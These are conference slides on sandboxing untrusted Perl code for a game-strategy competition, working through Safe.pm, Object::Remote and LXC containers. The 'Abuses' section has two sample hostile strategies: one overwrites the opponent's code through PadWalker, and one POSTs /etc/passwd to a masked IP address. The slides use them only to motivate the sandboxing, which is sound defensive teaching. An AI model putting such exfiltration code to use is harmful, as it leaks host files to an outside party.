Sandboxing Perl Code with Linux Containers

Achtung!

The following code examples does not include error checking

Bio

- Peter Makholm
- Twitter: @pmakholm
- Perl developer since 1997
- Works as backend developer at Adapt https://adapt.dk/

Goal

- Programming competition
- “Simulating strategies for games”
- Classic case: Iterated Prisoners Dilemma

Goal

In general:
Running untrusted code
from the Internet

The Code

The code

```
my @player = map { load_player($_) } @ARGV;
my @moves  = ([], []);

while ($rounds-- > 0) {
    my $p0 = $player[0]->( [@{ $moves[0] }], [@{ $moves[1] }] );
    my $p1 = $player[1]->( [@{ $moves[1] }], [@{ $moves[0] }] );

    push @{ $moves[0] }, !!$p0;
    push @{ $moves[1] }, !!$p1;
}
```

The code

```
sub load_player {
    my $file = shift;

    return do $file;
}
```

A strategy

```
# Strategy: Tit for tat
# This player starts by cooperating, and then follows the
# opponents last move

sub {
    my ($mine, $their) = @_;

    return $their->[-1] // 1;
}
```

Abuses

Cheating

```
# Strategy: Replace strategy
# This player tries to replace the opponents strategy

use PadWalker qw(peek_my peek_sub);
sub {
    my $MASTER;
    my $player = peek_my(1)->{'@player'};

    for (@$player) {
        $_ = defined(peek_sub($_)->{'$MASTER'}) ? sub { 0 } : sub { 1 }
    }
}
```

Attacking

```
# Strategy: Do something malicious

use HTTP::Request::Common;
my $done;
sub {
    LWP::UserAgent->new(
        POST 'http://xxx.xxx.xxx.xxx/',
        Content_Type => 'form-data',
        Content => [ passwd => ['/etc/passwd'] ]
    ) unless $done++;

    return 1;
}
```

Solutions

Safe.pm

- White and black list of Perl opcodes
- Prevents dynamic loading
- Very Perl specific

Safe.pm

```
sub load_player {
    require Safe;

    my $file = shift;
    my $c    = Safe->new();

    return $c->rdo($file) || die $@;
}
```

Safe.pm

```
sub load_player {
    require Safe;

    my $file = shift;
    my $c    = Safe->new();

    $c->permit( qw(rand :load) );
    return $c->rdo($file) || die $@;
}
```

Safe.pm

- Prevents cheating
- Prevents attacking
- Can require some tweaks
- Tweaking can break security

Inline::Perl

- Embeds a Perl interpreter inside Perl
- Provides isolation between application code and embedded code

Inline::Perl

```
sub load_player {
    <insert code>
}
```

Inline::Perl

- Depends on bitrotten PerlInterp
- Multiple interpreters???
- Does not prevent attacks

Object::Remote

- Implements distributed objects
- Requires code to be wrapped as a object

Object::Remote

```
package Code::Proxy;

sub new {
    my ($class, $code) = @_;

    my $self = eval $code;
    bless $self, $class;
}

sub call {
    (shift)->(@_);
}
```

Object::Remote

```
sub load_player {
    require Object::Remote;

    my $file = shift;
    my $conn = Object::Remote->connect('-');
    my $code = Code::Proxy->new::on($conn, "do '$file'");

    return sub { $code->call(@_) }
}
```

Object::Remote

- Prevents cheating
- Does not prevent attacks
- Quite easy to understand

Object::Remote + container

- Write your own Object::Remote::Connector
- Run remote code inside container
- Container provides security against attacks
- Flexible choice of container technology

Object::Remote + container

```
package Object::Remote::Connector::Container;

use String::ShellQuote;
use Moo;

with 'Object::Remote::Role::Connector::PerlInterpreter';

push @Object::Remote::Connection::Guess, sub {
  if (($_[0]||'') =~ '!') {
      shift(@_);
      __PACKAGE__->new(@_);
  }
};
```

Object::Remote + container

```
sub final_perl_command {
    my ($self) = @_;
    my $perl_command = $self->perl_command;

    return [
        'run_in_container',
        shell_quote(@$perl_command),
    ];
}
```

Object::Remote + container

```
sub load_player {
    require Object::Remote;
    require Object::Remote::Connection::Container;

    my $file = shift;
    my $conn = Object::Remote->connect('!');
    my $code = Code::Proxy->new::on($conn, "do '$file'");

    return sub { $code->call(@_) }
}
```

Linux Containers
(a.k.a. LXC)

Introducing LXC

- Operating system-level virtualization
- Shared kernel/separate user space
- Think chroot(8) on speed
- Can be used as unprivileged user
- https://linuxcontainers.org/lxc/introduction/

Introducing LXC

- Linux Namespaces:
  - Hostname
  - Inter-process communication (IPC)
  - Process tree (PIDs)
  - Mount points
  - Network access, including interfaces
  - Users (UIDs and GIDs)

Introducing LXC

- For unprivileged use:
  Add subordinate user ids and group ids
  - /etc/subuid
  - /etc/subgid

A lightweight container

- Just a single (root) user
- Read-only installation
- No network access

A lightweight container

```
    for dir in etc home root var dev dev/shm proc sys ; do
        mkdir $rootfs/$dir || return 1
    done

    cat <<EOF > $rootfs/etc/passwd
root:x:0:0:root:/root:/bin/bash
nobody:x:65534:65534:nogroup:/root:/bin/bash
EOF

    cat <<EOF > $rootfs/etc/group
root:x:0:root
nogroup:x:65534:nobody
EOF
```

A lightweight container

```
lxc.mount.entry = /lib    lib     lib     bind,remount,ro,create=dir 0 0
lxc.mount.entry = /lib64  lib64   lib64   bind,remount,ro,create=dir 0 0
lxc.mount.entry = /bin    bin     bin     bind,remount,ro,create=dir 0 0
lxc.mount.entry = /usr    usr     usr     bind,remount,ro,create=dir 0 0
lxc.mount.entry = /sbin   sbin    sbin    bind,remount,ro,create=dir 0 0
lxc.mount.entry = /tmp    tmp     tmpfs   rw,create=dir 0 0
lxc.mount.auto  = proc sys cgroup

lxc.include = /usr/share/lxc/config/common.conf
lxc.include = /usr/share/lxc/config/userns.conf

lxc.network.type = empty
```

A lightweight container

- Set up a container:

  lxc-create -n $name
  -t $(pwd)/lxc-sandbox.template
  -f $(pwd)/lxc-sandbox.conf
  --dir $(mktemp -d -p $(pwd)/ lxc-XXXXXX

- Run a process in container
  lxc-execute -n $name -q – bash

A lightweight container

- Create script to handle containers
  - Create new container
  - Run command in container
  - Destroy container

A lightweight container

- Full example at

  https://gist.github.com/pmakholm/1358682fbfb75374ff1

SEE ALSO

- My slides:
  https://hacking.dk/talks/yapceu2015/Perl_in_LXC.pd
- Francisco Maseda's presentation:
  Exploring Linux Namespaces and Perl
  Friday at 11:30